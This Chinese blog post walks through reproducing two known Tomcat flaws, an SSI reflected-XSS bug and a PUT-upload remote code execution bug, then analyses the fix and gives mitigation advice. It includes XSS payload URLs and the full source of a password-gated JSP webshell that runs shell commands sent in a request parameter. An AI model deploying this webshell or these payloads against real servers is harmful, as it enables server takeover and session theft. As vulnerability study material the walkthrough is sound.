Tomcat是一個開源的輕量級Web應用服務器，在我們平常工作過程中接觸得非常多。代碼也非常經典，很多人為了提升自己的技術也會去閱讀學習Tomcat的源碼。但正如著名詩人李白所說的：世界上本沒有漏洞，使用的人多了，也就發現了漏洞。比如今年的2月份就爆出了存在文件包含漏洞。今天我們選擇兩個比較直觀的Tomcat漏洞去模擬整個漏洞被攻擊的過程，以及漏洞為什么會產生，Tomcat大神們又是如何應對的。
【攻擊一：XSS攻擊】
一、SSI技術說明
首先演示的漏洞和Tomcat的SSI功能有關，SSI是什么
SSI技術，也叫作Serve Side Includes，SSI（服務器端包含）是放置在HTML頁面中的指令，並在服務頁面時在服務器上對其進行評估。它們使您可以將動態生成的內容添加到現有的HTML頁面，而不必通過CGI程序或其他動態技術來提供整個頁面。使用SSI技術文件默認的后綴名為.shtml；
舉例：我們可以將指令放置到現有的HTML頁面中，例如：
!--#echo var="DATE_LOCAL" -->
當該頁面被執行時，將會顯示如下結果
Sunday, 22-March-2020 18:28:54 GMT
SSI最常見的用途之一：輸出CGI程序的結果，例如``命中計數器''。關於該技術更為詳細的說明參見：http://httpd.apache.org/docs/current/howto/ssi.html
二、為Tomcat開啟SSI
- 准備好JRE、tomcat環境，我選擇的是“apache-tomcat-9.0.10” （該漏洞受影響的版本有：Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 ）
- 修改conf/context.xml第19行，開啟權限
<Context privileged="true">
- 修改conf\web.xml，開啟SSI Servlet。該段代碼默認是被注釋掉的，我們刪除注釋即可，代碼在310-322行。
<servlet>
<servlet-name>ssi</servlet-name>
<servlet-class>
org.apache.catalina.ssi.SSIServlet
</servlet-class>
<init-param>
<param-name>buffered</param-name>
<param-value>1</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>expires</param-name>
<param-value>666</param-value>
</init-param>
<init-param>
<param-name>isVirtualWebappRelative</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>4</load-on-startup>
</servlet>
去掉關於ssi配置的注釋 422-425行
<servlet-mapping>
<servlet-name>ssi</servlet-name>
<url-pattern>*.shtml</url-pattern>
</servlet-mapping>
- 在根目錄下添加madashu_env.shtml（習慣性命名為printEnv.shtml）文件，位於webapps/ROOT/ssi/
<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html>
- 啟動Tomcat即可
三、發起攻擊
- 我們輸入以下url看下效果
http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
2. XSS注入
http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E
攻擊成功，頁面展示如下。
通過這種方式我們使用戶加載並執行攻擊者惡意制造的網頁程序，攻擊者還可能得到包括但不限於更高的權限（如執行一些操作）、私密網頁內容、會話和cookie等各種內容。
四、源碼分析
漏洞產生后，Tomcat大神們迅速修復了該漏洞，我們從Github上找到當時的代碼修復提交記錄：點擊查看commit
說真的，當時看到這段修復代碼我是驚呆了，這是什么騷操作！！！“entity”又是什么鬼！！！
於是接下往下翻代碼
這個地方將我們輸入的變量值直接輸出到了網頁，很明顯剛剛的entity應該是進行了轉碼。我們找到SSIMediator.java文件，路徑org.apache.catalina.ssi. SSIMediator
這樣我們一下子就明白過來了，當發現是“entity”編碼，會將輸入的內容進行Escape，從而避免了XSS。
估計大神們當時也是緊急出了個hotfix版本，直接把參數寫死成“entity”。還有作為Web服務器，大神們竟然也會犯這么低級別的錯誤，所以這也解釋了為什么不存在0Bug的系統，哈哈！去翻看最新的SSIPrintenv.java文件，已經把“entity”定義成常量了，這才專業嘛！
【攻擊二：遠程代碼執行】
接下來再簡單演示下遠程代碼執行漏洞，該漏洞為高危漏洞，即使是非默認配置，但是一旦存在漏洞，那么攻擊者可以成功上傳 Webshell，並控制服務器。
- 通過put方式上傳文件，請求進行中時進行攔截：
- 生成惡意文件，取名叫
jiansheng.jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
- 遠程上傳成功，接下來就可以愉快地在這個不屬於我們自己的tomcat里玩耍了
- 整個代碼也是比較簡單的，可以翻看
JspServlet.java，這里就不做演示了。
說明：該漏洞影響范圍非常廣，從 5.x 到 9.x 全部中槍。最好的解決方式是將 conf/web.xml 中對於 DefaultServlet 的 readonly 設置為 true。
【結語】興趣是最好的老師，我們通過去看大佬們掉過的坑，寫過的代碼，站在巨人的肩膀人可以更快速地提升自己。有興趣的小伙伴可以去看看Tomcat已爆出的漏洞：
http://tomcat.apache.org/security-9.html
本次演示的兩個漏洞分別是CVE-2019-0221，CVE-2017-12615。
往期推薦
AI學習筆記：特征工程
從千萬級數據查詢來聊一聊索引結構和數據庫原理
AI學習筆記（一）：人工智能與機器學習概述
史上最強的Java堆內緩存框架，不接受反駁（附源碼）
SpringCloud第二代實戰系列（一）：使用Nacos實現服務注冊與發現
感謝各位大佬關注公眾號“碼大叔”，我們一起交流學習！
微信公眾號：碼大叔 十年戎“碼”，老“叔”開花
